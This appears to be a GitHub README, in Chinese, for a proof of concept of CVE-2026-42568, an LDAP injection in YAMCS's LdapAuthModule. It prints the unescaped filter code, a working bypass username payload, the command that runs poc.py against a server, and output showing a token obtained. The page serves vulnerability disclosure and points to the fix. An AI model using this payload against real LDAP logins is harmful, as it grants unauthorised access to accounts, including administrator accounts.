ex-cal1bur/CVE-2026-42568

GitHub: ex-cal1bur/CVE-2026-42568

YAMCS LDAP 认证模块因用户名未做 RFC 4515 转义而导致 LDAP 注入与身份验证绕过的漏洞 PoC。

Stars: 0 | Forks: 0

# CVE-2026-42568 — YAMCS LDAP 注入漏洞 (LdapAuthModule) ## 摘要 `org.yamcs.security.LdapAuthModule` 中存在 LDAP 注入漏洞。用户名参数在没有进行 RFC 4515 转义的情况下被直接插入到 LDAP 搜索过滤器中,从而允许绕过身份验证。 | 字段 | 值 | |-------|-------| | **CVE** | CVE-2026-42568 | | **严重程度** | MEDIUM | | **CWE** | CWE-90: LDAP 查询中特殊元素的不正确中和 | | **受影响版本** | yamcs-core < 5.12.7 (已配置 LDAP 认证) | | **修复版本** | yamcs-core 5.12.7 | | **安全公告** | [GHSA-cqh3-jg8p-336j](https://github.com/yamcs/yamcs/security/advisories/GHSA-cqh3-jg8p-336j) | ## 漏洞详情 **根本原因 (`LdapAuthModule.java`):** ``` var filter = userFilter.replace("{0}", username); // username inserted directly — no RFC 4515 escaping ``` 如果使用典型的 `userFilter`(如 `(uid={0})`),恶意用户名会破坏过滤器的结构: ``` Input: *)(uid=*))(|(uid=* Filter: (uid=*)(uid=*))(|(uid=*) Result: Universal match — authentication bypassed ``` ## 概念验证 ``` pip install requests python3 poc.py http://localhost:8090 ``` 在易受攻击的实例(已配置 LDAP)上的预期输出: ``` [1] Universal bypass (any account) Username: *)(uid=*))(|(uid=* Password: anything Result: HTTP 200 [!!!] AUTHENTICATION BYPASSED [!!!] Token received: eyJhbGciOiJSUzI1NiJ9... ``` ## 影响 当配置了 LDAP 认证时,能够访问 YAMCS 服务器的未经身份验证的攻击者可以完全绕过身份验证,以任意用户(包括管理员)的身份获取访问权限。 ## 修复方案 升级至 `yamcs-core >= 5.12.7`。 该修复方案在构建 LDAP 过滤器之前,对用户名应用了 RFC 4515 转义。 ## 时间线 | 日期 | 事件 | |------|-------| | 2026-05 | 报告漏洞 | | 2026-05-26 | 在 yamcs-core 5.12.7 中发布修复程序 | | 2026-05-26 | 发布公开安全公告 | ## 研究员 **Daniel Miranda Barcelona (Excal1bur)** - GitHub: [https://github.com/ex-cal1bur](https://github.com/ex-cal1bur) - LinkedIn: [https://linkedin.com/in/daniel-miranda-barcelona](https://linkedin.com/in/daniel-miranda-barcelona) - 博客: [https://thedumpster.es](https://thedumpster.es)
标签:Checkov, JS文件枚举, LDAP, PoC, StruQ, 暴力破解, 认证绕过, 逆向工具